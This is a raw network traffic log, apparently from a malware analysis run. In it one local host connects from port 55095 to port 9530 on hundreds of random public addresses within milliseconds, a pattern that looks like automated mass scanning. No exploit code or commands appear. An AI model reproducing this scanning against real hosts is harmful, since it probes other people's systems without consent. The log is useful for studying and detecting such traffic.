May 16, 2024 16:38:50.002185106 CEST	55095	9530	192.168.2.23	143.173.87.226
May 16, 2024 16:38:50.002185106 CEST	55095	9530	192.168.2.23	72.82.6.34
May 16, 2024 16:38:50.002193928 CEST	55095	9530	192.168.2.23	207.100.136.76
May 16, 2024 16:38:50.002193928 CEST	55095	9530	192.168.2.23	73.168.20.120
May 16, 2024 16:38:50.002193928 CEST	55095	9530	192.168.2.23	93.206.66.232
May 16, 2024 16:38:50.002193928 CEST	55095	9530	192.168.2.23	163.58.224.116
May 16, 2024 16:38:50.002193928 CEST	55095	9530	192.168.2.23	86.178.33.0
May 16, 2024 16:38:50.002193928 CEST	55095	9530	192.168.2.23	14.52.174.232
May 16, 2024 16:38:50.002199888 CEST	55095	9530	192.168.2.23	151.217.149.195
May 16, 2024 16:38:50.002193928 CEST	55095	9530	192.168.2.23	90.32.43.35
May 16, 2024 16:38:50.002193928 CEST	55095	9530	192.168.2.23	93.3.27.241
May 16, 2024 16:38:50.002201080 CEST	55095	9530	192.168.2.23	172.75.97.11
May 16, 2024 16:38:50.002199888 CEST	55095	9530	192.168.2.23	168.207.207.228
May 16, 2024 16:38:50.002193928 CEST	55095	9530	192.168.2.23	58.177.178.253
May 16, 2024 16:38:50.002201080 CEST	55095	9530	192.168.2.23	32.71.117.243
May 16, 2024 16:38:50.002197027 CEST	55095	9530	192.168.2.23	43.80.96.139
May 16, 2024 16:38:50.002197027 CEST	55095	9530	192.168.2.23	19.42.237.194
May 16, 2024 16:38:50.002197027 CEST	55095	9530	192.168.2.23	184.208.243.206
May 16, 2024 16:38:50.002209902 CEST	55095	9530	192.168.2.23	192.13.88.156
May 16, 2024 16:38:50.002243042 CEST	55095	9530	192.168.2.23	118.35.184.175
May 16, 2024 16:38:50.002243042 CEST	55095	9530	192.168.2.23	218.55.89.139
May 16, 2024 16:38:50.002243042 CEST	55095	9530	192.168.2.23	152.146.117.204
May 16, 2024 16:38:50.002243042 CEST	55095	9530	192.168.2.23	78.87.46.10
May 16, 2024 16:38:50.002243042 CEST	55095	9530	192.168.2.23	20.65.101.218
May 16, 2024 16:38:50.002243042 CEST	55095	9530	192.168.2.23	58.187.98.28
May 16, 2024 16:38:50.002248049 CEST	55095	9530	192.168.2.23	171.30.166.63
May 16, 2024 16:38:50.002248049 CEST	55095	9530	192.168.2.23	72.35.63.146
May 16, 2024 16:38:50.002249956 CEST	55095	9530	192.168.2.23	58.31.141.18
May 16, 2024 16:38:50.002250910 CEST	55095	9530	192.168.2.23	206.129.11.43
May 16, 2024 16:38:50.002250910 CEST	55095	9530	192.168.2.23	160.13.175.37
May 16, 2024 16:38:50.002250910 CEST	55095	9530	192.168.2.23	179.252.195.39
May 16, 2024 16:38:50.002250910 CEST	55095	9530	192.168.2.23	90.161.90.148
May 16, 2024 16:38:50.002250910 CEST	55095	9530	192.168.2.23	223.131.218.241
May 16, 2024 16:38:50.002254963 CEST	55095	9530	192.168.2.23	73.179.109.233
May 16, 2024 16:38:50.002250910 CEST	55095	9530	192.168.2.23	23.237.132.37
May 16, 2024 16:38:50.002254963 CEST	55095	9530	192.168.2.23	58.238.90.213
May 16, 2024 16:38:50.002254963 CEST	55095	9530	192.168.2.23	160.157.254.157
May 16, 2024 16:38:50.002254963 CEST	55095	9530	192.168.2.23	87.133.41.118
May 16, 2024 16:38:50.002250910 CEST	55095	9530	192.168.2.23	198.37.75.95
May 16, 2024 16:38:50.002259970 CEST	55095	9530	192.168.2.23	179.31.40.22
May 16, 2024 16:38:50.002250910 CEST	55095	9530	192.168.2.23	75.124.137.7
May 16, 2024 16:38:50.002254963 CEST	55095	9530	192.168.2.23	219.55.166.119
May 16, 2024 16:38:50.002250910 CEST	55095	9530	192.168.2.23	169.219.248.105
May 16, 2024 16:38:50.002266884 CEST	55095	9530	192.168.2.23	50.99.205.180
May 16, 2024 16:38:50.002266884 CEST	55095	9530	192.168.2.23	79.71.103.87
May 16, 2024 16:38:50.002266884 CEST	55095	9530	192.168.2.23	121.26.200.170
May 16, 2024 16:38:50.002269983 CEST	55095	9530	192.168.2.23	162.26.27.65
May 16, 2024 16:38:50.002269983 CEST	55095	9530	192.168.2.23	110.185.243.77
May 16, 2024 16:38:50.002288103 CEST	55095	9530	192.168.2.23	154.52.89.201
May 16, 2024 16:38:50.002288103 CEST	55095	9530	192.168.2.23	69.94.55.221
May 16, 2024 16:38:50.002288103 CEST	55095	9530	192.168.2.23	42.202.75.53
May 16, 2024 16:38:50.002291918 CEST	55095	9530	192.168.2.23	96.215.236.114
May 16, 2024 16:38:50.002291918 CEST	55095	9530	192.168.2.23	196.242.29.112
May 16, 2024 16:38:50.002291918 CEST	55095	9530	192.168.2.23	12.96.172.50
May 16, 2024 16:38:50.002294064 CEST	55095	9530	192.168.2.23	13.30.121.252
May 16, 2024 16:38:50.002294064 CEST	55095	9530	192.168.2.23	109.174.206.114
May 16, 2024 16:38:50.002294064 CEST	55095	9530	192.168.2.23	59.243.64.156
May 16, 2024 16:38:50.002294064 CEST	55095	9530	192.168.2.23	72.190.250.113
May 16, 2024 16:38:50.002295971 CEST	55095	9530	192.168.2.23	207.149.121.162
May 16, 2024 16:38:50.002296925 CEST	55095	9530	192.168.2.23	186.243.146.33
May 16, 2024 16:38:50.002295971 CEST	55095	9530	192.168.2.23	67.73.190.209
May 16, 2024 16:38:50.002302885 CEST	55095	9530	192.168.2.23	66.106.194.171
May 16, 2024 16:38:50.002305984 CEST	55095	9530	192.168.2.23	216.255.42.237
May 16, 2024 16:38:50.002320051 CEST	55095	9530	192.168.2.23	68.196.201.108
May 16, 2024 16:38:50.002321005 CEST	55095	9530	192.168.2.23	149.99.1.225
May 16, 2024 16:38:50.002321005 CEST	55095	9530	192.168.2.23	70.42.204.154
May 16, 2024 16:38:50.002327919 CEST	55095	9530	192.168.2.23	1.40.248.80
May 16, 2024 16:38:50.002327919 CEST	55095	9530	192.168.2.23	193.169.57.220
May 16, 2024 16:38:50.002327919 CEST	55095	9530	192.168.2.23	83.179.22.79
May 16, 2024 16:38:50.002329111 CEST	55095	9530	192.168.2.23	149.227.125.206
May 16, 2024 16:38:50.002329111 CEST	55095	9530	192.168.2.23	40.192.23.182
May 16, 2024 16:38:50.002341986 CEST	55095	9530	192.168.2.23	17.135.114.13
May 16, 2024 16:38:50.002341986 CEST	55095	9530	192.168.2.23	125.244.5.127
May 16, 2024 16:38:50.002341986 CEST	55095	9530	192.168.2.23	206.226.207.134
May 16, 2024 16:38:50.002342939 CEST	55095	9530	192.168.2.23	146.189.216.6
May 16, 2024 16:38:50.002342939 CEST	55095	9530	192.168.2.23	71.177.101.87
May 16, 2024 16:38:50.002346039 CEST	55095	9530	192.168.2.23	84.102.204.179
May 16, 2024 16:38:50.002353907 CEST	55095	9530	192.168.2.23	196.48.29.245
May 16, 2024 16:38:50.002353907 CEST	55095	9530	192.168.2.23	123.117.21.247
May 16, 2024 16:38:50.002353907 CEST	55095	9530	192.168.2.23	171.53.204.36
May 16, 2024 16:38:50.002371073 CEST	55095	9530	192.168.2.23	152.54.207.214
May 16, 2024 16:38:50.002371073 CEST	55095	9530	192.168.2.23	44.166.245.99
May 16, 2024 16:38:50.002372026 CEST	55095	9530	192.168.2.23	100.134.76.175
May 16, 2024 16:38:50.002372026 CEST	55095	9530	192.168.2.23	34.211.222.242
May 16, 2024 16:38:50.002374887 CEST	55095	9530	192.168.2.23	91.133.95.129
May 16, 2024 16:38:50.002376080 CEST	55095	9530	192.168.2.23	206.247.141.81
May 16, 2024 16:38:50.002382994 CEST	55095	9530	192.168.2.23	77.94.211.249
May 16, 2024 16:38:50.002392054 CEST	55095	9530	192.168.2.23	80.194.134.197
May 16, 2024 16:38:50.002394915 CEST	55095	9530	192.168.2.23	186.77.8.21
May 16, 2024 16:38:50.002397060 CEST	55095	9530	192.168.2.23	170.211.67.175
May 16, 2024 16:38:50.002397060 CEST	55095	9530	192.168.2.23	202.121.72.235
May 16, 2024 16:38:50.002434015 CEST	55095	9530	192.168.2.23	38.76.126.12
May 16, 2024 16:38:50.002459049 CEST	55095	9530	192.168.2.23	125.240.64.79
May 16, 2024 16:38:50.002459049 CEST	55095	9530	192.168.2.23	210.41.43.204
May 16, 2024 16:38:50.002459049 CEST	55095	9530	192.168.2.23	50.221.254.4
May 16, 2024 16:38:50.002460003 CEST	55095	9530	192.168.2.23	96.22.16.19
May 16, 2024 16:38:50.002460957 CEST	55095	9530	192.168.2.23	145.3.63.19
May 16, 2024 16:38:50.002460957 CEST	55095	9530	192.168.2.23	165.50.178.115
May 16, 2024 16:38:50.002460957 CEST	55095	9530	192.168.2.23	54.218.221.135
May 16, 2024 16:38:50.002460957 CEST	55095	9530	192.168.2.23	123.155.7.193
May 16, 2024 16:38:50.002463102 CEST	55095	9530	192.168.2.23	165.171.73.134
May 16, 2024 16:38:50.002460957 CEST	55095	9530	192.168.2.23	66.159.96.133
May 16, 2024 16:38:50.002463102 CEST	55095	9530	192.168.2.23	117.253.73.156
May 16, 2024 16:38:50.002463102 CEST	55095	9530	192.168.2.23	80.19.13.120
May 16, 2024 16:38:50.002463102 CEST	55095	9530	192.168.2.23	84.33.32.26
May 16, 2024 16:38:50.002465010 CEST	55095	9530	192.168.2.23	64.165.231.141
May 16, 2024 16:38:50.002463102 CEST	55095	9530	192.168.2.23	79.184.178.170
May 16, 2024 16:38:50.002465010 CEST	55095	9530	192.168.2.23	158.100.18.84
May 16, 2024 16:38:50.002463102 CEST	55095	9530	192.168.2.23	135.120.154.186
May 16, 2024 16:38:50.002465010 CEST	55095	9530	192.168.2.23	223.5.82.151
May 16, 2024 16:38:50.002468109 CEST	55095	9530	192.168.2.23	52.162.241.39
May 16, 2024 16:38:50.002465010 CEST	55095	9530	192.168.2.23	58.126.248.188
May 16, 2024 16:38:50.002470970 CEST	55095	9530	192.168.2.23	220.79.6.33
May 16, 2024 16:38:50.002470970 CEST	55095	9530	192.168.2.23	211.153.57.227
May 16, 2024 16:38:50.002480984 CEST	55095	9530	192.168.2.23	201.215.196.215
May 16, 2024 16:38:50.002480984 CEST	55095	9530	192.168.2.23	9.182.109.165
May 16, 2024 16:38:50.002480984 CEST	55095	9530	192.168.2.23	205.218.174.14
May 16, 2024 16:38:50.002481937 CEST	55095	9530	192.168.2.23	210.75.181.142
May 16, 2024 16:38:50.002487898 CEST	55095	9530	192.168.2.23	146.98.164.213
May 16, 2024 16:38:50.002487898 CEST	55095	9530	192.168.2.23	93.225.221.165
May 16, 2024 16:38:50.002492905 CEST	55095	9530	192.168.2.23	51.12.117.56
May 16, 2024 16:38:50.002492905 CEST	55095	9530	192.168.2.23	212.187.200.170
May 16, 2024 16:38:50.002492905 CEST	55095	9530	192.168.2.23	43.205.131.68
May 16, 2024 16:38:50.002495050 CEST	55095	9530	192.168.2.23	151.3.63.238
May 16, 2024 16:38:50.002495050 CEST	55095	9530	192.168.2.23	191.205.120.7
May 16, 2024 16:38:50.002496958 CEST	55095	9530	192.168.2.23	128.164.137.123
May 16, 2024 16:38:50.002496958 CEST	55095	9530	192.168.2.23	98.147.30.123
May 16, 2024 16:38:50.002496958 CEST	55095	9530	192.168.2.23	102.132.32.53
May 16, 2024 16:38:50.002499104 CEST	55095	9530	192.168.2.23	65.234.71.150
May 16, 2024 16:38:50.002499104 CEST	55095	9530	192.168.2.23	69.151.228.106
May 16, 2024 16:38:50.002499104 CEST	55095	9530	192.168.2.23	185.63.152.9
May 16, 2024 16:38:50.002499104 CEST	55095	9530	192.168.2.23	31.93.9.181
May 16, 2024 16:38:50.002499104 CEST	55095	9530	192.168.2.23	108.183.81.220
May 16, 2024 16:38:50.002511024 CEST	55095	9530	192.168.2.23	152.141.44.97
May 16, 2024 16:38:50.002511024 CEST	55095	9530	192.168.2.23	201.44.85.62
May 16, 2024 16:38:50.002511024 CEST	55095	9530	192.168.2.23	63.255.186.226
May 16, 2024 16:38:50.002513885 CEST	55095	9530	192.168.2.23	45.142.211.7
May 16, 2024 16:38:50.002513885 CEST	55095	9530	192.168.2.23	95.240.217.15
May 16, 2024 16:38:50.002513885 CEST	55095	9530	192.168.2.23	161.218.152.235
May 16, 2024 16:38:50.002516985 CEST	55095	9530	192.168.2.23	67.220.230.248
May 16, 2024 16:38:50.002516985 CEST	55095	9530	192.168.2.23	109.149.157.71
May 16, 2024 16:38:50.002516985 CEST	55095	9530	192.168.2.23	70.215.193.117
May 16, 2024 16:38:50.002516985 CEST	55095	9530	192.168.2.23	50.203.240.155
May 16, 2024 16:38:50.002516985 CEST	55095	9530	192.168.2.23	223.89.1.176
May 16, 2024 16:38:50.002516985 CEST	55095	9530	192.168.2.23	131.9.37.183
May 16, 2024 16:38:50.002516985 CEST	55095	9530	192.168.2.23	182.195.208.177
May 16, 2024 16:38:50.002516985 CEST	55095	9530	192.168.2.23	46.125.41.120
May 16, 2024 16:38:50.002521992 CEST	55095	9530	192.168.2.23	146.54.173.51
May 16, 2024 16:38:50.002537012 CEST	55095	9530	192.168.2.23	222.183.116.68
May 16, 2024 16:38:50.002537012 CEST	55095	9530	192.168.2.23	95.19.222.25
May 16, 2024 16:38:50.002537012 CEST	55095	9530	192.168.2.23	78.220.101.183
May 16, 2024 16:38:50.002537012 CEST	55095	9530	192.168.2.23	133.128.125.210
May 16, 2024 16:38:50.002537012 CEST	55095	9530	192.168.2.23	162.93.41.74
May 16, 2024 16:38:50.002537012 CEST	55095	9530	192.168.2.23	35.211.44.38
May 16, 2024 16:38:50.002537966 CEST	55095	9530	192.168.2.23	68.235.128.210
May 16, 2024 16:38:50.002537966 CEST	55095	9530	192.168.2.23	88.7.173.174
May 16, 2024 16:38:50.002537966 CEST	55095	9530	192.168.2.23	84.172.162.50
May 16, 2024 16:38:50.002537966 CEST	55095	9530	192.168.2.23	213.162.54.110
May 16, 2024 16:38:50.002537966 CEST	55095	9530	192.168.2.23	91.97.122.7
May 16, 2024 16:38:50.002542973 CEST	55095	9530	192.168.2.23	45.21.88.119
May 16, 2024 16:38:50.002543926 CEST	55095	9530	192.168.2.23	170.26.20.0
May 16, 2024 16:38:50.002543926 CEST	55095	9530	192.168.2.23	85.18.195.230
May 16, 2024 16:38:50.002542973 CEST	55095	9530	192.168.2.23	113.159.13.174
May 16, 2024 16:38:50.002543926 CEST	55095	9530	192.168.2.23	111.194.210.153
May 16, 2024 16:38:50.002542973 CEST	55095	9530	192.168.2.23	159.125.68.189
May 16, 2024 16:38:50.002546072 CEST	55095	9530	192.168.2.23	90.199.78.162
May 16, 2024 16:38:50.002542973 CEST	55095	9530	192.168.2.23	68.227.116.170
May 16, 2024 16:38:50.002543926 CEST	55095	9530	192.168.2.23	8.19.100.2
May 16, 2024 16:38:50.002543926 CEST	55095	9530	192.168.2.23	202.48.252.114
May 16, 2024 16:38:50.002543926 CEST	55095	9530	192.168.2.23	163.247.214.121
May 16, 2024 16:38:50.002543926 CEST	55095	9530	192.168.2.23	146.118.190.210
May 16, 2024 16:38:50.002543926 CEST	55095	9530	192.168.2.23	118.26.28.250
May 16, 2024 16:38:50.002552986 CEST	55095	9530	192.168.2.23	202.141.10.179
May 16, 2024 16:38:50.002552986 CEST	55095	9530	192.168.2.23	149.152.69.163
May 16, 2024 16:38:50.002552986 CEST	55095	9530	192.168.2.23	118.105.137.210
May 16, 2024 16:38:50.002552986 CEST	55095	9530	192.168.2.23	149.58.117.83
May 16, 2024 16:38:50.002552986 CEST	55095	9530	192.168.2.23	80.31.6.115
May 16, 2024 16:38:50.002552986 CEST	55095	9530	192.168.2.23	24.125.251.82
May 16, 2024 16:38:50.002552986 CEST	55095	9530	192.168.2.23	76.199.147.194
May 16, 2024 16:38:50.002552986 CEST	55095	9530	192.168.2.23	79.183.41.8
May 16, 2024 16:38:50.002557039 CEST	55095	9530	192.168.2.23	35.223.139.2
May 16, 2024 16:38:50.002561092 CEST	55095	9530	192.168.2.23	139.48.194.26
May 16, 2024 16:38:50.002578020 CEST	55095	9530	192.168.2.23	73.183.131.69
May 16, 2024 16:38:50.002584934 CEST	55095	9530	192.168.2.23	93.12.114.140
May 16, 2024 16:38:50.002584934 CEST	55095	9530	192.168.2.23	167.16.170.79
May 16, 2024 16:38:50.002592087 CEST	55095	9530	192.168.2.23	155.163.78.49
May 16, 2024 16:38:50.002608061 CEST	55095	9530	192.168.2.23	18.165.113.116
May 16, 2024 16:38:50.002609015 CEST	55095	9530	192.168.2.23	187.130.70.195
May 16, 2024 16:38:50.002613068 CEST	55095	9530	192.168.2.23	218.123.157.158
May 16, 2024 16:38:50.002613068 CEST	55095	9530	192.168.2.23	186.2.127.161
May 16, 2024 16:38:50.002613068 CEST	55095	9530	192.168.2.23	78.92.212.116
May 16, 2024 16:38:50.002613068 CEST	55095	9530	192.168.2.23	156.226.7.81
May 16, 2024 16:38:50.002613068 CEST	55095	9530	192.168.2.23	110.121.211.45
May 16, 2024 16:38:50.002613068 CEST	55095	9530	192.168.2.23	94.38.31.153
May 16, 2024 16:38:50.002616882 CEST	55095	9530	192.168.2.23	173.2.22.63
May 16, 2024 16:38:50.002616882 CEST	55095	9530	192.168.2.23	105.233.54.61
May 16, 2024 16:38:50.002623081 CEST	55095	9530	192.168.2.23	135.110.19.208
May 16, 2024 16:38:50.002624035 CEST	55095	9530	192.168.2.23	101.64.164.165
May 16, 2024 16:38:50.002624035 CEST	55095	9530	192.168.2.23	76.111.30.56
May 16, 2024 16:38:50.002624035 CEST	55095	9530	192.168.2.23	222.18.234.194
May 16, 2024 16:38:50.002624035 CEST	55095	9530	192.168.2.23	208.230.118.255
May 16, 2024 16:38:50.002624035 CEST	55095	9530	192.168.2.23	89.235.196.245
May 16, 2024 16:38:50.002626896 CEST	55095	9530	192.168.2.23	184.239.31.115
May 16, 2024 16:38:50.002626896 CEST	55095	9530	192.168.2.23	136.38.147.119
May 16, 2024 16:38:50.002626896 CEST	55095	9530	192.168.2.23	70.44.4.194
May 16, 2024 16:38:50.002626896 CEST	55095	9530	192.168.2.23	101.135.6.95
May 16, 2024 16:38:50.002626896 CEST	55095	9530	192.168.2.23	136.223.47.81
May 16, 2024 16:38:50.002629995 CEST	55095	9530	192.168.2.23	108.20.31.207
May 16, 2024 16:38:50.002629995 CEST	55095	9530	192.168.2.23	58.185.39.42
May 16, 2024 16:38:50.002629995 CEST	55095	9530	192.168.2.23	160.32.180.97
May 16, 2024 16:38:50.002629995 CEST	55095	9530	192.168.2.23	46.199.16.93
May 16, 2024 16:38:50.002640009 CEST	55095	9530	192.168.2.23	167.43.78.12
May 16, 2024 16:38:50.002665043 CEST	55095	9530	192.168.2.23	155.211.224.246
May 16, 2024 16:38:50.002676964 CEST	55095	9530	192.168.2.23	161.155.40.165
May 16, 2024 16:38:50.002686024 CEST	55095	9530	192.168.2.23	210.170.170.164
May 16, 2024 16:38:50.002686024 CEST	55095	9530	192.168.2.23	89.59.92.57
May 16, 2024 16:38:50.002691031 CEST	55095	9530	192.168.2.23	212.236.225.91
May 16, 2024 16:38:50.002691031 CEST	55095	9530	192.168.2.23	209.233.219.38
May 16, 2024 16:38:50.002695084 CEST	55095	9530	192.168.2.23	99.126.206.230
May 16, 2024 16:38:50.002696991 CEST	55095	9530	192.168.2.23	223.3.199.222
May 16, 2024 16:38:50.002696991 CEST	55095	9530	192.168.2.23	143.239.87.227
May 16, 2024 16:38:50.002696991 CEST	55095	9530	192.168.2.23	80.156.234.254
May 16, 2024 16:38:50.002698898 CEST	55095	9530	192.168.2.23	202.154.219.115
May 16, 2024 16:38:50.002698898 CEST	55095	9530	192.168.2.23	101.55.71.167
May 16, 2024 16:38:50.002701998 CEST	55095	9530	192.168.2.23	49.25.3.134
May 16, 2024 16:38:50.002701998 CEST	55095	9530	192.168.2.23	1.62.190.33
May 16, 2024 16:38:50.002701998 CEST	55095	9530	192.168.2.23	143.58.248.81
May 16, 2024 16:38:50.002711058 CEST	55095	9530	192.168.2.23	212.7.178.150
May 16, 2024 16:38:50.002711058 CEST	55095	9530	192.168.2.23	174.181.246.151
May 16, 2024 16:38:50.002711058 CEST	55095	9530	192.168.2.23	121.86.210.69
May 16, 2024 16:38:50.002712965 CEST	55095	9530	192.168.2.23	34.45.191.63
May 16, 2024 16:38:50.002711058 CEST	55095	9530	192.168.2.23	73.193.142.112
May 16, 2024 16:38:50.002712965 CEST	55095	9530	192.168.2.23	12.96.22.65
May 16, 2024 16:38:50.002711058 CEST	55095	9530	192.168.2.23	4.151.102.95
May 16, 2024 16:38:50.002712965 CEST	55095	9530	192.168.2.23	99.61.71.242
May 16, 2024 16:38:50.002712965 CEST	55095	9530	192.168.2.23	205.189.201.93
May 16, 2024 16:38:50.002712965 CEST	55095	9530	192.168.2.23	222.253.122.167
May 16, 2024 16:38:50.002716064 CEST	55095	9530	192.168.2.23	194.138.11.32
May 16, 2024 16:38:50.002716064 CEST	55095	9530	192.168.2.23	124.43.146.243
May 16, 2024 16:38:50.002716064 CEST	55095	9530	192.168.2.23	113.208.180.228
May 16, 2024 16:38:50.002732992 CEST	55095	9530	192.168.2.23	81.52.63.237
May 16, 2024 16:38:50.002732992 CEST	55095	9530	192.168.2.23	175.57.16.186
May 16, 2024 16:38:50.002734900 CEST	55095	9530	192.168.2.23	172.98.213.197
May 16, 2024 16:38:50.002734900 CEST	55095	9530	192.168.2.23	64.229.2.113
May 16, 2024 16:38:50.002734900 CEST	55095	9530	192.168.2.23	204.89.138.59
May 16, 2024 16:38:50.002734900 CEST	55095	9530	192.168.2.23	54.159.124.154
May 16, 2024 16:38:50.002737999 CEST	55095	9530	192.168.2.23	123.13.71.98
May 16, 2024 16:38:50.002737999 CEST	55095	9530	192.168.2.23	71.205.130.186
May 16, 2024 16:38:50.002739906 CEST	55095	9530	192.168.2.23	201.170.204.202
May 16, 2024 16:38:50.002737999 CEST	55095	9530	192.168.2.23	176.2.15.121
May 16, 2024 16:38:50.002739906 CEST	55095	9530	192.168.2.23	126.158.143.143
May 16, 2024 16:38:50.002742052 CEST	55095	9530	192.168.2.23	2.150.97.190
May 16, 2024 16:38:50.002739906 CEST	55095	9530	192.168.2.23	110.44.224.252
May 16, 2024 16:38:50.002743959 CEST	55095	9530	192.168.2.23	67.176.3.176
May 16, 2024 16:38:50.002742052 CEST	55095	9530	192.168.2.23	151.61.67.183
May 16, 2024 16:38:50.002743959 CEST	55095	9530	192.168.2.23	207.240.65.170
May 16, 2024 16:38:50.002743959 CEST	55095	9530	192.168.2.23	190.219.175.50
May 16, 2024 16:38:50.002742052 CEST	55095	9530	192.168.2.23	50.19.15.109
May 16, 2024 16:38:50.002746105 CEST	55095	9530	192.168.2.23	82.208.32.215
May 16, 2024 16:38:50.002743959 CEST	55095	9530	192.168.2.23	88.139.172.53
May 16, 2024 16:38:50.002743959 CEST	55095	9530	192.168.2.23	156.183.185.94
May 16, 2024 16:38:50.002742052 CEST	55095	9530	192.168.2.23	100.39.247.105
May 16, 2024 16:38:50.002743959 CEST	55095	9530	192.168.2.23	125.48.97.158
May 16, 2024 16:38:50.002743006 CEST	55095	9530	192.168.2.23	133.233.172.129
May 16, 2024 16:38:50.002743959 CEST	55095	9530	192.168.2.23	72.5.94.250
May 16, 2024 16:38:50.002743006 CEST	55095	9530	192.168.2.23	151.176.109.228
May 16, 2024 16:38:50.002743959 CEST	55095	9530	192.168.2.23	85.92.254.159
May 16, 2024 16:38:50.002749920 CEST	55095	9530	192.168.2.23	132.220.162.45
May 16, 2024 16:38:50.002743959 CEST	55095	9530	192.168.2.23	113.150.9.100
May 16, 2024 16:38:50.002749920 CEST	55095	9530	192.168.2.23	40.252.79.116
May 16, 2024 16:38:50.002743959 CEST	55095	9530	192.168.2.23	25.109.107.91
May 16, 2024 16:38:50.002749920 CEST	55095	9530	192.168.2.23	24.3.180.235
May 16, 2024 16:38:50.002753019 CEST	55095	9530	192.168.2.23	42.64.84.76
May 16, 2024 16:38:50.002754927 CEST	55095	9530	192.168.2.23	212.26.239.242
May 16, 2024 16:38:50.002754927 CEST	55095	9530	192.168.2.23	183.123.245.137
May 16, 2024 16:38:50.002754927 CEST	55095	9530	192.168.2.23	198.16.228.247
May 16, 2024 16:38:50.002772093 CEST	55095	9530	192.168.2.23	191.172.10.151
May 16, 2024 16:38:50.002772093 CEST	55095	9530	192.168.2.23	130.255.89.73
May 16, 2024 16:38:50.002774954 CEST	55095	9530	192.168.2.23	142.41.32.214
May 16, 2024 16:38:50.002783060 CEST	55095	9530	192.168.2.23	130.131.203.10
May 16, 2024 16:38:50.002783060 CEST	55095	9530	192.168.2.23	87.37.189.189
May 16, 2024 16:38:50.002808094 CEST	55095	9530	192.168.2.23	164.35.4.61
May 16, 2024 16:38:50.002808094 CEST	55095	9530	192.168.2.23	187.29.226.44
May 16, 2024 16:38:50.002810955 CEST	55095	9530	192.168.2.23	60.28.0.194
May 16, 2024 16:38:50.002810955 CEST	55095	9530	192.168.2.23	41.210.214.245
May 16, 2024 16:38:50.002811909 CEST	55095	9530	192.168.2.23	91.112.184.219
May 16, 2024 16:38:50.002810955 CEST	55095	9530	192.168.2.23	99.70.229.232
May 16, 2024 16:38:50.002811909 CEST	55095	9530	192.168.2.23	186.176.71.31
May 16, 2024 16:38:50.002813101 CEST	55095	9530	192.168.2.23	84.84.212.118
May 16, 2024 16:38:50.002814054 CEST	55095	9530	192.168.2.23	199.21.23.79
May 16, 2024 16:38:50.002814054 CEST	55095	9530	192.168.2.23	151.63.222.240
May 16, 2024 16:38:50.002814054 CEST	55095	9530	192.168.2.23	196.17.65.200
May 16, 2024 16:38:50.002814054 CEST	55095	9530	192.168.2.23	216.14.30.169
May 16, 2024 16:38:50.002816916 CEST	55095	9530	192.168.2.23	166.254.122.80
May 16, 2024 16:38:50.002816916 CEST	55095	9530	192.168.2.23	121.136.25.114
May 16, 2024 16:38:50.002835989 CEST	55095	9530	192.168.2.23	146.146.65.55
May 16, 2024 16:38:50.002835989 CEST	55095	9530	192.168.2.23	107.170.49.105
May 16, 2024 16:38:50.002835989 CEST	55095	9530	192.168.2.23	169.62.138.142
May 16, 2024 16:38:50.002835989 CEST	55095	9530	192.168.2.23	158.45.178.184
May 16, 2024 16:38:50.002835989 CEST	55095	9530	192.168.2.23	103.0.220.207
May 16, 2024 16:38:50.002836943 CEST	55095	9530	192.168.2.23	167.77.66.111
May 16, 2024 16:38:50.002837896 CEST	55095	9530	192.168.2.23	38.222.45.60
May 16, 2024 16:38:50.002845049 CEST	55095	9530	192.168.2.23	132.240.67.73
May 16, 2024 16:38:50.002847910 CEST	55095	9530	192.168.2.23	209.34.59.177
May 16, 2024 16:38:50.002857924 CEST	55095	9530	192.168.2.23	198.153.136.111
May 16, 2024 16:38:50.002857924 CEST	55095	9530	192.168.2.23	80.50.177.30
May 16, 2024 16:38:50.002859116 CEST	55095	9530	192.168.2.23	92.213.151.177
May 16, 2024 16:38:50.002857924 CEST	55095	9530	192.168.2.23	14.87.193.82
May 16, 2024 16:38:50.002859116 CEST	55095	9530	192.168.2.23	217.140.20.58
May 16, 2024 16:38:50.002857924 CEST	55095	9530	192.168.2.23	198.54.124.192
May 16, 2024 16:38:50.002857924 CEST	55095	9530	192.168.2.23	162.227.196.230
May 16, 2024 16:38:50.002865076 CEST	55095	9530	192.168.2.23	151.105.215.126
May 16, 2024 16:38:50.002876997 CEST	55095	9530	192.168.2.23	206.59.22.246
May 16, 2024 16:38:50.002877951 CEST	55095	9530	192.168.2.23	130.146.214.96
May 16, 2024 16:38:50.002881050 CEST	55095	9530	192.168.2.23	40.171.226.72
May 16, 2024 16:38:50.002882004 CEST	55095	9530	192.168.2.23	54.89.24.127
May 16, 2024 16:38:50.002882004 CEST	55095	9530	192.168.2.23	24.42.249.103
May 16, 2024 16:38:50.002893925 CEST	55095	9530	192.168.2.23	53.221.3.43
May 16, 2024 16:38:50.002897978 CEST	55095	9530	192.168.2.23	118.96.126.81
May 16, 2024 16:38:50.002897978 CEST	55095	9530	192.168.2.23	132.235.244.179
May 16, 2024 16:38:50.002898932 CEST	55095	9530	192.168.2.23	145.224.45.243
May 16, 2024 16:38:50.002899885 CEST	55095	9530	192.168.2.23	147.16.136.195
May 16, 2024 16:38:50.002899885 CEST	55095	9530	192.168.2.23	192.25.17.40
May 16, 2024 16:38:50.002903938 CEST	55095	9530	192.168.2.23	79.36.0.205
May 16, 2024 16:38:50.002906084 CEST	55095	9530	192.168.2.23	12.96.207.170
May 16, 2024 16:38:50.002906084 CEST	55095	9530	192.168.2.23	183.74.124.135
May 16, 2024 16:38:50.002912998 CEST	55095	9530	192.168.2.23	192.56.12.228
May 16, 2024 16:38:50.002914906 CEST	55095	9530	192.168.2.23	165.171.227.226
May 16, 2024 16:38:50.002914906 CEST	55095	9530	192.168.2.23	48.36.219.100
May 16, 2024 16:38:50.002923012 CEST	55095	9530	192.168.2.23	2.123.76.213
May 16, 2024 16:38:50.002923012 CEST	55095	9530	192.168.2.23	187.109.147.238
May 16, 2024 16:38:50.002923012 CEST	55095	9530	192.168.2.23	84.53.139.182
May 16, 2024 16:38:50.002923012 CEST	55095	9530	192.168.2.23	104.251.173.142
May 16, 2024 16:38:50.002927065 CEST	55095	9530	192.168.2.23	103.28.72.73
May 16, 2024 16:38:50.002927065 CEST	55095	9530	192.168.2.23	198.210.84.112
May 16, 2024 16:38:50.002927065 CEST	55095	9530	192.168.2.23	77.44.83.57
May 16, 2024 16:38:50.002985954 CEST	55095	9530	192.168.2.23	213.131.54.124
May 16, 2024 16:38:50.002985954 CEST	55095	9530	192.168.2.23	61.238.211.118
May 16, 2024 16:38:50.002995014 CEST	55095	9530	192.168.2.23	155.64.195.200
May 16, 2024 16:38:50.002995014 CEST	55095	9530	192.168.2.23	203.2.242.200
